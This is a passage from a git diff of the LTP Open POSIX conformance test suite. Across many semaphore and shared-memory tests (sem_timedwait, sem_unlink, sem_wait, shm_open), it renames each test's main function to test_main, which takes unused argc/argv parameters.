b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/10-1.c @@ -28,7 +28,7 @@ #define SLEEP_SEC 1 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t mysemp; struct timespec ts, ts_2; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/11-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/11-1.c index b06bf052..6607ecb7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/11-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/11-1.c @@ -29,7 +29,7 @@ #define FUNCTION "sem_timedwait" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t mysemp[2]; struct timespec ts[2]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/2-1.c index 61603cee..9e4d1ee4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/2-1.c @@ -29,7 +29,7 @@ #define FUNCTION "sem_timedwait" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t *mysemp; struct timespec ts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/2-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/2-2.c index f3cca131..badbb837 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/2-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/2-2.c @@ -28,7 +28,7 @@ #define FUNCTION "sem_timedwait" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t mysemp; struct timespec ts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/3-1.c index 739fe86a..e70fbe7c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/3-1.c @@ -28,7 +28,7 @@ #define FUNCTION "sem_timedwait" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec ts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/4-1.c index ece0e67b..26772476 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/4-1.c @@ -25,7 +25,7 @@ #define FUNCTION "sem_timedwait" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t mysemp; struct timespec ts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/6-1.c index 2634c38c..5ec211b5 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/6-1.c @@ -26,7 +26,7 @@ #define FUNCTION "sem_timedwait" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t mysemp; struct timespec ts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/6-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/6-2.c index 1ad0fad3..2e03a306 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/6-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/6-2.c @@ -28,7 +28,7 @@ #define NANOSEC 1000000000 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t mysemp; struct timespec ts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/7-1.c index 73e17468..35484650 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/7-1.c @@ -29,7 +29,7 @@ #define FUNCTION "sem_timedwait" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec ts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/9-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/9-1.c index ee7ad7ae..dfeedc09 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/9-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/9-1.c @@ -35,7 +35,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) printf("In handler\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t mysemp; struct timespec ts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/1-1.c index 521047ff..4eedab13 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/1-1.c @@ -23,7 +23,7 @@ #define FUNCTION "sem_unlink" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t *mysemp; char semname[28]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/2-1.c index 1fdda812..01f512be 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/2-1.c @@ -23,7 +23,7 @@ #define FUNCTION "sem_unlink" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t *mysemp; char semname[28]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/2-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/2-2.c index 1e9096b2..005cdde1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/2-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/2-2.c @@ -124,7 +124,7 @@ static sem_t *common() } /* The main test function. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, status; pid_t p1, p2, p3, ctl; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/3-1.c index 8919d82f..30481320 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/3-1.c @@ -124,7 +124,7 @@ static int set_nonroot() } /* The main test function. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, status; pid_t ch, ctl; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/4-1.c index ad557645..077c9da4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/4-1.c @@ -23,7 +23,7 @@ #define FUNCTION "sem_unlink" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char semname[28]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/4-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/4-2.c index 46744f8f..d6927854 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/4-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/4-2.c @@ -79,7 +79,7 @@ /******************************************************************************/ /* The main test function. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/5-1.c index 47567ddd..72dae78e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/5-1.c @@ -94,7 +94,7 @@ /******************************************************************************/ /* The main test function. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, error; sem_t *sem; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/6-1.c index 63ccfca8..41694044 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/6-1.c @@ -81,7 +81,7 @@ /******************************************************************************/ /* The main test function. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, value; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/7-1.c index 22118c3f..1c52d704 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/7-1.c @@ -96,7 +96,7 @@ static void *threaded(void *arg) } /* The main test function. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; pthread_t thread; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/9-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/9-1.c index 24a575ff..d9beb018 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/9-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/9-1.c @@ -103,7 +103,7 @@ static void *threaded(void *arg) } /* The main test function. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; pthread_t child; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_wait/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_wait/1-1.c index 50f4a714..9b0ec49d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_wait/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_wait/1-1.c @@ -23,7 +23,7 @@ #define FUNCTION "sem_wait" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t *mysemp; char semname[28]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_wait/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_wait/1-2.c index bbfe4525..e35318db 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_wait/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_wait/1-2.c @@ -24,7 +24,7 @@ #define FUNCTION "sem_wait" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t *mysemp; char semname[28]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_wait/11-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_wait/11-1.c index 34848d9c..a2d15a1f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_wait/11-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_wait/11-1.c @@ -23,7 +23,7 @@ #define FUNCTION "sem_trywait" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t *mysemp; char semname[28]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_wait/12-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_wait/12-1.c index 5daea50a..57bf9f19 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_wait/12-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_wait/12-1.c @@ -23,7 +23,7 @@ #define FUNCTION "sem_trywait" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t *mysemp; char semname[28]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_wait/13-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_wait/13-1.c index 998100f8..539b7f3d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_wait/13-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_wait/13-1.c @@ -61,7 +61,7 @@ static void handler(int sig PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; struct timespec ts_ref, ts_fin; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_wait/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_wait/3-1.c index 4565112c..39fb3437 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_wait/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_wait/3-1.c @@ -24,7 +24,7 @@ #define FUNCTION "sem_wait" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t *mysemp; char semname[28]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_wait/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_wait/5-1.c index ed5086e4..581a4239 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_wait/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_wait/5-1.c @@ -23,7 +23,7 @@ #define FUNCTION "sem_trywait" #define ERROR_PREFIX "unexpected errno: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t *mysemp; char semname[28]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_wait/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_wait/7-1.c index 74466705..1df62123 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_wait/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_wait/7-1.c @@ -32,7 +32,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) printf("In handler\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t *mysemp; char semname[28]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/1-1.c index 0cca4b0f..be8f4a24 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/1-1.c @@ -30,7 +30,7 @@ #define BUF_SIZE 8 #define SHM_NAME "posixtest_1-1" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd; char str[BUF_SIZE] = "qwerty"; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/11-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/11-1.c index 521f60e5..58f4bc60 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/11-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/11-1.c @@ -21,7 +21,7 @@ #define SHM_NAME "posixtest_11-1" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd, flags; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/13-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/13-1.c index 19ef649e..f1c3dd6e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/13-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/13-1.c @@ -24,7 +24,7 @@ #define SHM_NAME "posixtest_13-1" #define BUF_SIZE 8 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd, result; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/14-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/14-2.c index 8528322f..711177ec 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/14-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/14-2.c @@ -30,7 +30,7 @@ #define BUF_SIZE 8 #define SHM_NAME "posixtest_14-2" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd; char str[BUF_SIZE] = "qwerty"; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/15-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/15-1.c index c2897589..51f66e4f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/15-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/15-1.c @@ -26,7 +26,7 @@ #define SHM_NAME "posixtest_15-1" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd, result; struct stat stat_buf; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/16-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/16-1.c index a17ef630..dce1d198 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/16-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/16-1.c @@ -24,7 +24,7 @@ #define SHM_NAME "posixtest_16-1" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd, result; struct stat stat_buf; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/17-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/17-1.c index 77b9b84d..7c0be1ea 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/17-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/17-1.c @@ -24,7 +24,7 @@ #define SHM_NAME "posixtest_17-1" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd, result; struct stat stat_buf; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/18-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/18-1.c index 55b81b2e..e4cb908f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/18-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/18-1.c @@ -36,7 +36,7 @@ #define ALL_MOD_FLAGS (S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | \ S_IROTH | S_IWOTH) /* rw?rw?rw? */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd, result; struct stat stat_buf; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/20-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/20-1.c index fe8b0a0c..32448625 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/20-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/20-1.c @@ -24,7 +24,7 @@ #define BUF_SIZE 8 #define SHM_NAME "posixtest_20-1" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd, result; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/20-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/20-2.c index a11c1954..1ec8ba26 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/20-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/20-2.c @@ -24,7 +24,7 @@ #define BUF_SIZE 8 #define SHM_NAME "posixtest_20-2" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd, result; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/20-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/20-3.c index 918ffc06..f9cfd466 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/20-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/20-3.c @@ -24,7 +24,7 @@ #define BUF_SIZE 8 #define SHM_NAME "posixtest_20-3" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd, result; void *ptr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/21-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/21-1.c index 1db09ca1..4dd3d2ac 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/21-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/21-1.c @@ -22,7 +22,7 @@ #define SHM_NAME "posixtest_21-1" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd, result; struct stat stat_buf; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/22-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/22-1.c index 1c928020..2ac2721e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/22-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/22-1.c @@ -21,7 +21,7 @@ #define SHM_NAME "posixtest_22-1" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/23-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/23-1.c index 84da8c21..3d6a53a1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/23-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/23-1.c @@ -74,7 +74,7 @@ static int child_func(void) return 0; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int i, pid, result_fd; char semname[20]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/25-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/25-1.c index ef0401fb..ddc0d45f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/25-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/25-1.c @@ -26,7 +26,7 @@ #define SHM_NAME "posixtest_25-1" #define SHM_SZ 16 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd; struct stat stat_buf; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/26-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/26-1.c index c7e23fe5..ba12651d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/26-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/26-1.c @@ -27,7 +27,7 @@ #define CREATION_MODE S_IRUSR|S_IWUSR #define OPEN_MODE S_IRGRP -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd; struct stat stat_buf; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/26-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/26-2.c index 69edeae8..f5e97d48 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/26-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/26-2.c @@ -35,7 +35,7 @@ #define BUF_SIZE 8 #define SHM_NAME "posixtest_26-2" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd; struct stat stat_buf; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/28-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/28-1.c index 95da50c5..75835260 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/28-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/28-1.c @@ -30,7 +30,7 @@ #define BUF_SIZE 8 #define SHM_NAME "posixtest_28-1" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd; char str[BUF_SIZE] = "qwerty"; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/28-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/28-2.c index a98b6749..493d4727 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/28-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/28-2.c @@ -30,7 +30,7 @@ #define BUF_SIZE 8 #define SHM_NAME "posixtest_28-2" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd; char str[BUF_SIZE] = "qwerty"; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/28-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/28-3.c index 16f40c74..cc2f2619 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/28-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/28-3.c @@ -31,7 +31,7 @@ #define BUF_SIZE 8 #define SHM_NAME "posixtest_28-3" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd; char str[BUF_SIZE] = "qwerty"; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/32-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/32-1.c index 0c3ecacb..63055667 100644 --- 